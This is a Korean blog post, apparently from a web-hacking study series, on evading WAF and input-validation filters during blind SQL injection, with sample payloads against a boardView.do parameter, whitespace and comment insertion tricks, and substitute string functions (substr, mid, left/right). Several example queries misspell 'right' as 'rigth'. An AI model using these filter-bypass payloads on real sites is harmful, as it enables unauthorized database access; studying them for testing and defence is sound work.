Oh! JUN

7) 보안 솔루션 및 입력 값 검증 우회 기법 본문

웹 해킹/SQL Injection

7) 보안 솔루션 및 입력 값 검증 우회 기법

Kwon Oh! JUN 2022. 10. 12. 00:41

※함수 검증 우회 기법※

boardView.do?idx=100 and ascii(substring(@@version,1,1))&1=1-- 차단
boardView.do?idx=100 and ascii('a')=97-- 정상
boardView.do?idx=100 and substring('test',1,1)='t'-- 차단

 

ascii와  substring  같이 사용할때 차단이고, ascii 혼자일때는 정상,  substring 혼자일때도 차단이니까

substring 함수가 문제였다.

 

but 주의할점

ascii와 substring 함수가 같이 사용되면 막히는 경우도 있음

 


 

 

※우회※

 

 

1. 의미 없는 문자 삽입

분류 문자
공백 관련 문자 %09
%0A
%0B
%0C
%0D
%A0
주석 문자 /**/
ex)  boardView.do?idx=100 and substring[point]([point]'test',1,1)='t'--

 

 

 

2. 대체 함수 사용

DBMS 함수
MYSQL substring
substr
mid
MSSQL substring
ORACLE substr

 

어라? MYSQL은 3개정도 있으니까 그렇다하고, MSSQL, ORACLE은 어떻게 우회를 하지?

left, right함수

 

Query 결과
select right('abcd',1) 'd'
select right('abcd',2) 'cd'
select left('abcd', 1) 'a'
select left( 'abcd', 2) 'ab'
select rigth(left('abcd',1),1) 'a'
select rigth(left('abcd',2),1) 'b'
select rigth(left('abcd',3),1) 'c'
select rigth(left('abcd',4),1) 'd'

 

select rigth(left('abcd',3),1)

left('abcd', 3)은 왼쪽부터 3개의 문자니까 'abc'

보기좋게 치환시키면 select right('abc', 1) 되니까 'abc'에서 오른부터 1개의 문자니까 'c'

 

결국 right, left  함수를 사용해서 substring, substr와 같이 문자하나를 추출할 수 있다.  

 

 

★★★★★

oracle은 right(), left() 내장함수에 존재하지 않아서 사용 안됨